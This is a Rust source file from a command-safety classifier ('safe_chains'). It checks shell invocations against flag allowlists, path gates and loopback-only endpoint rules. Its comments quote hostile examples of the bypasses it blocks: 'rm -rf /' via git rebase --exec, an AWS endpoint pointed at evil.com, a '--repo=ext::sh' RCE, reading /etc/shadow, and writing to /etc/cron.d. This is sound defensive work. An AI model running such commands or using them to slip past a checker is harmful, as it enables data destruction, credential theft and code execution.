Skip to main content

safe_chains/registry/
mod.rs

1mod build;
2mod custom;
3pub use custom::fuzz_load_config;
4mod dispatch;
5mod docs;
6mod policy;
7pub(crate) mod types;
8
9use std::collections::HashMap;
10use std::sync::LazyLock;
11
12use crate::parse::Token;
13use crate::verdict::Verdict;
14
15pub use build::{build_registry, load_toml};
16pub(crate) use custom::user_config_level;
17pub use dispatch::dispatch_spec;
18pub use types::{CommandSpec, OwnedPolicy};
19
20use types::DispatchKind;
21
22type HandlerFn = fn(&[Token]) -> Verdict;
23
24static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
25    LazyLock::new(crate::handlers::custom_cmd_handlers);
26
27static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
28    LazyLock::new(crate::handlers::custom_sub_handlers);
29
30static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(||
31    include!(concat!(env!("OUT_DIR"), "/toml_includes.rs"))
32);
33
34static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
35    let mut map = HashMap::new();
36    custom::apply_custom(&mut map);
37    map
38});
39
40pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
41    let cmd = tokens[0].command_name();
42    TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
43}
44
45/// Looks up the command in the runtime custom registry (project-local
46/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
47/// A match here wins over the built-in hardcoded handlers, which is how
48/// an override of `gh` takes effect.
49pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
50    let cmd = tokens[0].command_name();
51    CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
52}
53
54/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
55/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
56/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
57/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
58/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
59pub fn canonical_name(cmd: &str) -> &str {
60    CUSTOM_REGISTRY
61        .get(cmd)
62        .or_else(|| TOML_REGISTRY.get(cmd))
63        .map_or(cmd, |spec| spec.name.as_str())
64}
65
66/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
67/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
68/// from the command's own definition. `cmd` is already canonicalized by the caller.
69pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
70    CUSTOM_REGISTRY
71        .get(cmd)
72        .or_else(|| TOML_REGISTRY.get(cmd))
73        .and_then(|spec| spec.path_gate.as_ref())
74}
75
76/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
77/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
78/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
79/// `cmd` is already canonicalized by the caller.
80pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
81    CUSTOM_REGISTRY
82        .get(cmd)
83        .or_else(|| TOML_REGISTRY.get(cmd))
84        .and_then(|spec| spec.behavior.as_ref())
85}
86
87/// What `cmd`'s stdout can name, when that has been researched and declared (`[command.output]`).
88/// `None` — the default for every command — keeps a `$(cmd …)` unpinnable.
89pub(crate) fn command_output_locus(cmd: &str) -> Option<&'static crate::registry::types::OutputSpec> {
90    CUSTOM_REGISTRY
91        .get(cmd)
92        .or_else(|| TOML_REGISTRY.get(cmd))
93        .and_then(|spec| spec.output.as_ref())
94}
95
96/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
97/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
98/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
99/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
100/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
101/// matched sub declares a profile.
102pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
103    let cmd = canonical_name(tokens.first()?.command_name());
104    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
105    let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
106    let mut out = vec![sub.profile.as_deref()?];
107    for flag in &sub.flags {
108        if flag_escalates(tokens, flag) {
109            out.push(flag.classifies.as_str());
110        }
111    }
112    // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
113    // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
114    // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
115    // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
116    // capability and the invocation denies.
117    if presents_unlisted_flag(tokens, sub) {
118        out.push("unclassified");
119    }
120    Some(out)
121}
122
123/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
124///
125/// The glob path used to allow on the strength of the first positional alone and never look at the
126/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
127/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
128/// (`get-*` means read) is sound and stays; the flags are what needed a list.
129///
130/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
131/// service groups cannot be researched at once, and denying them wholesale would break every AWS
132/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
133/// cannot grow.
134///
135/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
136/// ones are already caught earlier by `credential_first_arg`.
137pub(super) fn glob_presents_unlisted_flag(
138    tokens: &[Token],
139    skip: usize,
140    standalone: &[String],
141    valued: &[String],
142    loopback_valued: &[String],
143) -> bool {
144    if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
145        return false;
146    }
147    let known =
148        |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
149    for (idx, t) in tokens.iter().enumerate().skip(skip) {
150        let s = t.as_str();
151        if s == "--" {
152            break;
153        }
154        if !s.starts_with('-') || s == "-" {
155            continue;
156        }
157        let head = s.split_once('=').map_or(s, |(f, _)| f);
158        // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
159        // http://localhost:8000` is a developer talking to their own service; the same flag pointed
160        // anywhere else redirects an authenticated request. A missing value denies — the flag is
161        // meaningless without one and guessing would be the fail-open direction.
162        if loopback_valued.iter().any(|a| a == head) {
163            let value = match s.split_once('=') {
164                Some((_, v)) => Some(v),
165                None => tokens.get(idx + 1).map(Token::as_str),
166            };
167            if value.is_some_and(crate::netloc::is_loopback) {
168                continue;
169            }
170            return true;
171        }
172        if known(head) {
173            continue;
174        }
175        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
176            continue;
177        }
178        return true;
179    }
180    false
181}
182
183/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
184/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
185/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
186/// rather than "nothing permitted", so this tightens only where a list exists — the global
187/// enforcement of the empty case is staged separately (see the backfill guard).
188fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
189    // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
190    // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
191    // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
192    // that its PRESENCE is the safe form).
193    let known = |f: &str| {
194        sub.allowed_standalone.iter().any(|a| a == f)
195            || sub.allowed_valued.iter().any(|a| a == f)
196            || sub.flags.iter().any(|d| d.name == f)
197            // An output-path flag is declared too — it names the write destination the engine
198            // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
199            || sub.output_path_flags.iter().any(|a| a == f)
200            || sub.destination_flag.as_deref() == Some(f)
201    };
202    for (idx, t) in tokens.iter().enumerate().skip(1) {
203        let s = t.as_str();
204        if s == "--" {
205            break;
206        }
207        if !s.starts_with('-') || s == "-" {
208            continue;
209        }
210        let head = s.split_once('=').map_or(s, |(f, _)| f);
211        // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
212        // the glob path in `glob_presents_unlisted_flag`.
213        if sub.loopback_valued.iter().any(|a| a == head) {
214            let value = match s.split_once('=') {
215                Some((_, v)) => Some(v),
216                None => tokens.get(idx + 1).map(Token::as_str),
217            };
218            if value.is_some_and(crate::netloc::is_loopback) {
219                continue;
220            }
221            return true;
222        }
223        if known(head) {
224            continue;
225        }
226        // An explicitly declared tolerance keeps the sub open for the shape it names — the
227        // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
228        // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
229        use crate::policy::UnknownTolerance as U;
230        let tolerated = if s.starts_with("--") {
231            matches!(sub.allowed_unknown, U::Long | U::Both)
232        } else {
233            matches!(sub.allowed_unknown, U::Short | U::Both)
234        };
235        if tolerated {
236            continue;
237        }
238        // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
239        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
240            continue;
241        }
242        return true;
243    }
244    false
245}
246
247/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
248/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
249/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
250/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
251/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
252pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
253    let cmd = canonical_name(tokens.first()?.command_name());
254    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
255    let present: Vec<&'static str> = spec
256        .archetype_flags
257        .iter()
258        .filter(|f| flag_escalates(tokens, f))
259        .map(|f| f.classifies.as_str())
260        .collect();
261    (!present.is_empty()).then_some(present)
262}
263
264/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
265/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
266/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
267/// an escalator counts wherever it sits.
268fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
269    if flag.when_absent {
270        // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
271        // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
272        // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
273        return !flag_is_affirmatively_set(tokens, &flag.name);
274    }
275    let Some(prefix) = flag.value_prefix.as_deref() else {
276        return flag_present(tokens, &flag.name);
277    };
278    // space form: `NAME VALUE`, VALUE starting with the prefix
279    tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
280        // glued form: `NAME=VALUE`, VALUE starting with the prefix
281        || tokens.iter().any(|t| {
282            t.as_str()
283                .strip_prefix(flag.name.as_str())
284                .and_then(|r| r.strip_prefix('='))
285                .is_some_and(|v| v.starts_with(prefix))
286        })
287}
288
289/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
290/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
291/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
292/// can't masquerade as the safety flag being set.
293fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
294    let neg = format!("--no-{}", flag.trim_start_matches('-'));
295    let mut set = false;
296    for t in tokens {
297        let s = t.as_str();
298        if s == flag {
299            set = true;
300        } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
301            set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
302        } else if s == neg {
303            set = false;
304        }
305    }
306    set
307}
308
309fn walk_to_profiled_sub(
310    remaining: &[Token],
311    kind: &'static DispatchKind,
312) -> Option<&'static types::SubSpec> {
313    let subs = match kind {
314        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
315        _ => return None,
316    };
317    let arg = remaining.first()?;
318    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
319    // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
320    walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
321}
322
323/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
324/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
325fn walk_to_profiled_sub_rest<'a>(
326    remaining: &'a [Token],
327    kind: &'static DispatchKind,
328) -> Option<(&'static types::SubSpec, &'a [Token])> {
329    let subs = match kind {
330        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
331        _ => return None,
332    };
333    let arg = remaining.first()?;
334    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
335    let rest = &remaining[1..];
336    walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
337}
338
339/// For a profiled sub declaring `network_destination`, the first positional after it — the send
340/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
341/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
342/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
343///
344/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
345/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
346/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
347/// target), never looser — so it can over-deny a rare form but never under-approve.
348pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
349    let cmd = canonical_name(tokens.first()?.command_name());
350    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
351    let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
352    if !sub.network_destination {
353        return None;
354    }
355    // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
356    // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
357    // line since the flag may sit anywhere.
358    if let Some(flag) = sub.destination_flag.as_deref()
359        && let Some(v) = flag_value(tokens, flag)
360    {
361        return Some(Some(v));
362    }
363    Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
364}
365
366/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
367/// not flags.
368///
369/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
370/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
371/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
372/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
373/// a call to the real service as a write to this machine.
374///
375/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
376/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
377/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
378fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
379    let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
380    flag_value(&tokens[..end], flag)
381}
382
383/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
384/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
385/// only the permissive callers use it.
386fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
387    if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
388        return Some(v);
389    }
390    tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
391}
392
393/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
394/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
395/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
396/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
397///
398/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
399/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
400/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
401/// malformed invocation the tool itself rejects, so a `None` there is harmless.
402/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
403/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
404/// and "the sub never opted in".
405///
406/// Returning `false` for a non-loopback value is what keeps this independent of the admission
407/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
408/// that classify.
409pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
410    let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
411        return false;
412    };
413    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
414        return false;
415    };
416    let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
417        return false;
418    };
419    sub.loopback_effect == types::LoopbackEffect::Localizes
420        && sub
421            .loopback_valued
422            .iter()
423            .filter_map(|f| flag_value_in_flag_region(tokens, f))
424            .any(crate::netloc::is_loopback)
425}
426
427pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
428    let cmd = canonical_name(tokens.first()?.command_name());
429    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
430    let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
431    sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
432}
433
434/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
435/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
436/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
437fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
438    if let Some(v) = flag_value(tokens, flag) {
439        return Some(v);
440    }
441    if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
442        return tokens
443            .iter()
444            .find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
445    }
446    None
447}
448
449/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
450/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
451/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
452/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
453/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
454/// clustering tool with a classifying short flag).
455fn flag_present(tokens: &[Token], flag: &str) -> bool {
456    // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
457    let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
458    tokens.iter().any(|t| {
459        let s = t.as_str();
460        if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
461            return true;
462        }
463        // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
464        // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
465        matches!(short_char, Some(c)
466            if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
467            && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
468    })
469}
470
471pub fn toml_command_names() -> Vec<&'static str> {
472    TOML_REGISTRY
473        .keys()
474        .map(|k| k.as_str())
475        .collect()
476}
477
478/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
479/// — the corpus the engine's never-looser corpus gate runs against.
480#[cfg(test)]
481pub(crate) fn corpus_examples()
482-> Vec<(&'static str, &'static [String], &'static [String])> {
483    TOML_REGISTRY
484        .iter()
485        .map(|(name, spec)| {
486            (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice())
487        })
488        .collect()
489}
490
491/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
492/// blocks alongside `handler = "..."`) and dispatch the one whose name
493/// matches `tokens[1]`. Returns `None` if no sub matched, so the
494/// handler can fall through to its fallback grammar (or deny).
495pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
496    let spec = handler_spec(cmd_name)?;
497    let DispatchKind::Custom { subs, .. } = &spec.kind else {
498        return None;
499    };
500    let arg = tokens.get(1)?.as_str();
501    let sub = subs.iter().find(|s| s.name == arg)?;
502    Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
503}
504
505/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
506/// Returns `None` if no fallback is declared.
507pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
508    let spec = handler_spec(cmd_name)?;
509    let DispatchKind::Custom { fallback, .. } = &spec.kind else {
510        return None;
511    };
512    let f = fallback.as_ref()?;
513    Some(dispatch::dispatch_fallback(tokens, f))
514}
515
516/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
517/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
518/// finds the first matrix whose `parents` contains the parent and
519/// whose `actions` map contains the action, then validates
520/// `tokens[2..]` against the named policy (and a guard flag if the
521/// matrix entry declared one). Returns `None` if no matrix matched —
522/// the handler can then fall through to its remaining special cases
523/// or deny.
524pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
525    let spec = handler_spec(cmd_name)?;
526    let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
527        return None;
528    };
529    let parent = tokens.get(1)?.as_str();
530    let action = tokens.get(2)?.as_str();
531    for matrix in matrices {
532        if !matrix.parents.iter().any(|p| p == parent) {
533            continue;
534        }
535        let Some(action_spec) = matrix.actions.get(action) else { continue; };
536        if let Some(long) = action_spec.guard.as_deref()
537            && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
538        {
539            return Some(Verdict::Denied);
540        }
541        let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
542            return Some(Verdict::Denied);
543        };
544        return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
545    }
546    None
547}
548
549/// Validate `tokens` against `cmd_name`'s named flag policy declared
550/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
551/// such policy is declared or the tokens fail it. Used by handlers
552/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
553/// sub × action matrix) but whose per-policy WordSets should live
554/// in TOML rather than as Rust `WordSet` constants.
555pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
556    let Some(spec) = handler_spec(cmd_name) else { return false; };
557    let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
558        return false;
559    };
560    let Some(policy) = handler_policies.get(key) else { return false; };
561    dispatch::check_handler_policy_owned(tokens, policy)
562}
563
564fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
565    CUSTOM_REGISTRY
566        .get(cmd_name)
567        .or_else(|| TOML_REGISTRY.get(cmd_name))
568}
569
570/// Returns true iff this invocation is tagged eval-safe — meaning its
571/// stdout is documented shell-init code that can safely be substituted
572/// inside `eval "$(...)"`.
573///
574/// The walker descends through `DispatchKind::Branching` AND
575/// `DispatchKind::Custom` matching subs token-by-token (handler-based
576/// commands such as `gh` can have tagged TOML-declared subs even though
577/// the handler does the actual dispatch). The leaf is the deepest matched
578/// node (where no further sub matches). `eval_safe` is checked only at
579/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
580/// is tagged, every `-`-prefixed token in the remaining tail must appear
581/// in `eval_safe_flags`; positionals are unrestricted.
582///
583/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
584/// function does not validate that `tokens` is syntactically allowed —
585/// callers must have already passed it through the regular dispatcher.
586pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
587    if tokens.is_empty() {
588        return false;
589    }
590    let cmd = tokens[0].command_name();
591    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
592        return false;
593    };
594    is_eval_safe_for_spec(spec, tokens)
595}
596
597/// Spec-local variant used by tests so they can build a `CommandSpec`
598/// via `load_toml` and exercise the walker without touching the global
599/// `TOML_REGISTRY`.
600pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
601    if tokens.is_empty() {
602        return false;
603    }
604    walk_to_eval_safe_leaf(
605        &tokens[1..],
606        &spec.kind,
607        spec.eval_safe,
608        &spec.eval_safe_flags,
609        &spec.eval_safe_flag_values,
610        &spec.eval_safe_required_flags,
611    )
612}
613
614fn walk_to_eval_safe_leaf(
615    remaining: &[Token],
616    kind: &DispatchKind,
617    eval_safe: bool,
618    eval_safe_flags: &[String],
619    eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
620    eval_safe_required_flags: &[String],
621) -> bool {
622    let subs_opt = match kind {
623        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
624        _ => None,
625    };
626    if let Some(subs) = subs_opt
627        && let Some(arg) = remaining.first()
628        && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
629    {
630        return walk_to_eval_safe_leaf(
631            &remaining[1..],
632            &sub.kind,
633            sub.eval_safe,
634            &sub.eval_safe_flags,
635            &sub.eval_safe_flag_values,
636            &sub.eval_safe_required_flags,
637        );
638    }
639    if !eval_safe {
640        return false;
641    }
642    let mut i = 0;
643    let mut seen_required = false;
644    while i < remaining.len() {
645        let s = remaining[i].as_str();
646        if !s.starts_with('-') {
647            i += 1;
648            continue;
649        }
650        let (bare, eq_value) = match s.split_once('=') {
651            Some((k, v)) => (k, Some(v)),
652            None => (s, None),
653        };
654        if !eval_safe_flags.iter().any(|f| f == bare) {
655            return false;
656        }
657        if eval_safe_required_flags.iter().any(|f| f == bare) {
658            seen_required = true;
659        }
660        if let Some(allowed) = eval_safe_flag_values.get(bare) {
661            // Valued flag declared in eval_safe_flag_values. The value
662            // arrives either as `--flag=VALUE` (eq_value is Some) or as
663            // the next token (`--flag VALUE`); either way the walker
664            // consumes it because a flag in eval_safe_flag_values is
665            // structurally valued.
666            //
667            // `allowed` empty = explicit-unrestricted: contributor
668            // vetted that any bare-literal value preserves shell-init
669            // output. Non-empty = value must appear in the allowlist.
670            let value: &str = if let Some(v) = eq_value {
671                v
672            } else if let Some(next) = remaining.get(i + 1) {
673                let v = next.as_str();
674                i += 1;
675                v
676            } else {
677                return false;
678            };
679            // Empty value is denied even under the explicit-
680            // unrestricted (`= []`) posture: `--flag=` and an empty
681            // following token never represent a meaningful tool
682            // argument. The bare-literal alphabet check is per-char
683            // and vacuously passes empty strings, so the walker
684            // has to reject explicitly.
685            if value.is_empty() {
686                return false;
687            }
688            if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
689                return false;
690            }
691        }
692        i += 1;
693    }
694    if !eval_safe_required_flags.is_empty() && !seen_required {
695        return false;
696    }
697    true
698}
699
700pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
701    TOML_REGISTRY
702        .iter()
703        .filter(|(key, spec)| *key == &spec.name)
704        .map(|(_, spec)| spec.to_command_doc())
705        .collect()
706}
707
708#[cfg(test)]
709mod tests;